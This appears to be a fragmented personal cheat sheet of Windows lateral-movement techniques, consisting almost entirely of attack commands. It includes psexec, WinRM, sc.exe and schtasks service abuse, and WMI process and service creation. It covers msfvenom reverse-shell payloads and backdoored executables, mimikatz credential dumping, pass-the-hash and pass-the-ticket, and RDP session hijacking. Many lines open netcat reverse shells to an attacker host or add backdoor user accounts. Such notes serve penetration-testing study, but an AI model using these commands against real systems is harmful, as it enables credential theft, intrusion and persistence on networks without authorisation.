Local and network/domain accounts have to be distinguished. UAC is enforced on local admin accounts and not on domain accounts
Service executables need their own special reverse shell, msfvenom
file format exe-service
445
SMB
protocolGroup membership: Administrators
Upload the service binary to ADMIN$
directory of the SMB server
psexesvc.exe
via service control manager to execute the remote processpsexec64.exe \\%TARGET_IP% -u Administrator -p %PASSWORD% -i cmd.exe
5985
(HTTP) and 5986
(HTTPS)Group Membership: Remote Management Users
Execute powershell commands on remote targets
winrs.exe -u:Administrator -p:%PASSWORD% -r:target cmd
$username = "Administrator";
$password = "SecurePassword";
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Enter-PSSession -Computername TARGET -Credential $credential
Invoke-Command -Computername TARGET -Credential -ScriptBlock {whoami}
135
, 49152-65535
(DCE/RPC), 135
shows service endpoints on the high ports139
and 445
RPC over SMB named pipes, if SVCCTL fails over 135
Group Membership: Administrators
Create service remotely via Service Control Manager (RPC) or SVCCTL
sc.exe \\%TARGET_IP% create MyService binPath= "net user newuser securepassword /add" start= auto
sc.exe \\%TARGET_IP% start MyService
sc.exe \\%TARGET_IP% stop MyService
sc.exe \\%TARGET_IP% delete MyService
schtasks /s TARGET /RU "SYSTEM" /create /tn "SteamUpdateService" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "SteamUpdateService"
schtasks /S TARGET /TN "SteamUpdateService" /DELETE /F
135
RPC and dynamic ports5985
winrm HTTP and 5986
winrm HTTPSGroup membership: Administrators
To start, use the same object used for winrm
$username = "Administrator";
$password = "SecurePassword";
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
$Command = "powershell.exe -Command Set-Content -Path C:\payload.txt -Value itworked";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
wmic.exe /user:Administrator /password:securepassword /node:TARGET process call create "cmd.exe /c nc64.exe -e cmd.exe %ATTACKER_IP% %ATTACKER_PORT%"
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "SteamUpdateService";
DisplayName = "SteamUpdateService";
PathName = "net user gabenewell securepassword /add";
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'SteamUpdateService'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
$Command = "cmd.exe"
$Args = "/c net user gabenewell securepassword /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "SteamUpdateService"
Start-ScheduledTask -CimSession $Session -TaskName "SteamUpdateService"
Unregister-ScheduledTask -CimSession $Session -TaskName "SteamUpdateService"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$TARGET_IP LPORT=4711 -f msi -o steam.msi
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\steam.msi"; Options = ""; AllUsers = $false}
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\steam.msi
Retrieve and pass a hash generated from the password
Use mimikatz on local SAM
privilege::debug
token::elevate
lsadump::sam
* Use mimikatz on lsass
privilege::debug
token::elevate
sekurlsa::msv
* Open reverse shell via mimikatz
token::revert
sekurlsa::pth /user:<username>
/domain:<domainname> /ntlm:<hash> /run:"C:\Windows\temp\nc.exe -e cmd.exe %ATTACKER_IP% 4711"
xfreerdp /v:$TARGET_IP /u:DOMAIN\\<username> /pth:<ntlm-hash>
psexec.py -hashes <ntlm-hash> DOMAIN/<username>@%TARGET_IP%
evil-winrm -i $TARGET_IP -u <username> -H <ntlm-hash>
privilege::debug
sekurlsa::tickets /export
kerberos::ptt <ticket>@<domain>.kirbi
klist
rc4
, aes128
, aes256
or des
if enabledrc4
is a pure ntml hashprivilege::debug
sekurlsa::ekeys
sekurlsa::pth /user:Administrator /domain:<domain> /<hash-algorithm>:<hash> /run:"C:\Windows\Temp\nc.exe -e cmd.exe %ATTACKER_IP% 4711"
Find a shortcut, a script or anything that keeps a connection over the network to a share
Reuse a *.vbs
via
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\%TARGET_IP%\share\nc.exe %tmp% & %tmp%\nc.exe -e cmd.exe %ATTACKER_IP% 4711", 0, True
msfvenom -a x64 --platform windows -x <reused.exe> -k -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4711 -b "\x00" -f exe -o <new_reused.exe>
cmd
or powershell
as administrator and reuse the session by its namePsExec64.exe -s cmd.exe
query user
tscon <ID-of-target> /dest:<my-SESSIONNAME>
DISC
, a session which was not exited correctly
Social_engineering